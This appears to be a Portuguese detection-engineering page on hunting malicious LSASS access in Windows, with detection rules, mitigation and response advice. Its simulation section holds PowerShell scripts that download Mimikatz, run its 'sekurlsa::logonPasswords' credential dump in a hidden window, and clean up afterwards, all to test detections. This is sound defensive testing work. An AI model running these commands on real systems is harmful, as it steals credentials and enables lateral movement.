Caçando Acessos Maliciosos ao LSASS em Ambientes Windows
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O artigo descreve como os adversários extraem credenciais acessando o processo LSASS com ferramentas como Mimikatz e Cobalt Strike. Cobre as chamadas típicas da API do Windows, DLLs e direitos de acesso envolvidos no despejo de memória do LSASS. Os autores compartilham consultas de detecção atualizadas para Sysmon e outras plataformas EDR, com ênfase em reforçar a cobertura de detecção de despejo de credenciais.
Investigação
A Equipe de Pesquisa de Ameaças da Splunk emulou o acesso ao LSASS usando Atomic Red Team, Mimikatz, Invoke-Mimikatz e Cobalt Strike. Eles capturaram telemetria do Sysmon mostrando carregamentos de DLLs (dbgcore.dll, dbghelp.dll, ntdll.dll) e valores característicos de GrantedAccess. Este conjunto de dados foi então utilizado para ajustar consultas de detecção que correlacionam informações de CallTrace com direitos de acesso específicos.
Mitigação
Ajuste políticas de Sysmon ou EDR para registrar eventos de ProcessAccess contra lsass.exe, aplicando filtros em DLLs conhecidas e direitos de acesso relevantes enquanto lista branca processos de sistema confiáveis. Use as consultas fornecidas para gerar alertas sobre padrões suspeitos de acesso ao LSASS. Revise e refine essas regras continuamente à medida que novas ferramentas e técnicas surgem.
Resposta
Quando uma detecção é acionada, valide o processo originador, contexto de usuário associado, e as DLLs envolvidas no acesso ao LSASS. Isole o endpoint afetado, capture a memória para uma análise forense mais profunda, e avalie evidências de roubo de credenciais. Examine a árvore de processos para distinguir utilitários administrativos legítimos de atividades indicativas de um atacante.
Fluxo de Ataque
Ainda estamos atualizando esta parte. Inscreva-se para ser notificado
Notifique-meDetecções
Ferramenta de Hacking – Acesso Genérico a Processo
Ver
Carregamento Suspeito de DLLs Dbgcore/Dbghelp de Localização Incomum
Ver
Acesso Suspeito ao Processo LSASS com DLLs Dbgcore/Dbghelp
Ver
Detectar Despejo de Credenciais do LSASS via Acesso a Processo [Windows Sysmon]
Ver
Execução de Simulação
Pré-requisito: A Verificação Prévia de Telemetria & Baseline deve ter sido aprovada.
Motivo: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa & Comandos de Ataque:
Um atacante obteve direitos de administrador local no host vítima e deseja coletar credenciais para movimentação lateral. Eles copiam a ferramenta de código aberto Mimikatz para a máquina, elevam o processo para privilégio DEBUG e invocam o módulosekurlsa::logonPasswords, que lê a memória do LSASS por meio de chamadas de API nativas que atravessamntdll.dll. O Sysmon registra isso como um evento ProcessAccess com várias flags de GrantedAccess de alto privilégio (e.g.,0x00100x14000x0010,0x1400,0x1fffff). O atacante executa a ferramenta de uma sessão do PowerShell oculta para evitar exposição da interface do usuário.# 1. Soltar binário Mimikatz em %TEMP% $mkPath = "$env:TEMPmimikatz.exe" Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile "$env:TEMPmk.zip" Expand-Archive -Path "$env:TEMPmk.zip" -DestinationPath $env:TEMP -Force Move-Item -Path "$env:TEMPmimikatzx64mimikatz.exe" -Destination $mkPath -Force # 2. Executar Mimikatz com comandos de despejo de credenciais Start-Process -FilePath $mkPath -ArgumentList 'privilege::debug sekurlsa::logonPasswords exit' -WindowStyle Hidden -Wait -
Script de Teste de Regressão:
# ---------------------------------------------------------------------- # Simulação de Despejo de Credenciais do LSASS – aciona regra Sigma #4e0789a0… # ---------------------------------------------------------------------- # Soltar Mimikatz (se ainda não estiver presente) $mkPath = "$env:TEMPmimikatz.exe" if (-Not (Test-Path $mkPath)) { $zip = "$env:TEMPmk.zip" Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile $zip Expand-Archive -Path $zip -DestinationPath $env:TEMP -Force Move-Item -Path "$env:TEMPmimikatzx64mimikatz.exe" -Destination $mkPath -Force Remove-Item $zip -Force } # Executar Mimikatz para despejar credenciais do LSASS $args = 'privilege::debug sekurlsa::logonPasswords exit' Write-Host "[+] Executando Mimikatz para despejo do LSASS..." Start-Process -FilePath $mkPath -ArgumentList $args -WindowStyle Hidden -Wait Write-Host "[+] Execução do Mimikatz concluída." # ---------------------------------------------------------------------- -
Comandos de Limpeza:
# Remover binário Mimikatz e quaisquer arquivos residuais $mkPath = "$env:TEMPmimikatz.exe" if (Test-Path $mkPath) { Remove-Item $mkPath -Force } $folder = "$env:TEMPmimikatz" if (Test-Path $folder) { Remove-Item $folder -Recurse -Force } Write-Host "Limpeza concluída."